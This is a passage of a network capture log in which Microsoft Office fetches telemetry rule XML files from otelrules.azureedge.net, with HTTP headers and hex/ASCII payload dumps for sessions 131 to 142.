<?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49861	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:40 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4c089dbd-801e-00ac-235c-2efd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091340Z-158dbd74bf4cvrq6hC1SN1zhyc00000003mg000000004p7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49862	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:40 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a0219141-901e-005b-3761-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091340Z-157b9fd754flfl4xhC1SN1waxc0000000490000000004qpk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49863	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e9a4e3c9-201e-005d-135c-2eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091340Z-157b9fd754ffv8t9hC1SN1n4w0000000043g000000005f5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49865	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4169e74f-601e-005c-7f5c-2ef06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091340Z-158dbd74bf4f5j9khC1SN17k9n00000003mg000000004xa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49864	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 9a908836-001e-0028-5a40-2ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091340Z-158dbd74bf4x6xt2hC1SN1quas00000003v0000000003tpp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49869	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:41 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: e21fa4e1-f01e-003f-655f-2ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091341Z-158dbd74bf4x6xt2hC1SN1quas00000003xg000000001rvx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49870	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:41 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: bc9744fd-c01e-0014-0b55-2ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091341Z-157b9fd754fdj9g2hC1SN1a7tn000000042g000000005n2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 09:13:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49867	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 62e9641c-201e-003c-0e61-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091341Z-158dbd74bf4kdtcghC1SN10mk400000003r0000000003b0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49866	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 0401437a-901e-0015-114b-2eb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091341Z-158dbd74bf4wlzpzhC1SN10qvc00000003pg0000000034nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49868	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: e6ac82a3-901e-002a-355c-2e7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091341Z-157b9fd754ff4xnphC1SN1wuxg00000004700000000059wd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49875	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 9f0c8f5e-f01e-0020-2b6b-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091343Z-158dbd74bf492xzchC1SN15kfc00000003kg000000005h5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49881	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:43 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: cd73f999-901e-00a0-1f58-2e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091343Z-158dbd74bf4qgfthhC1SN1tv8800000003r0000000005tvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
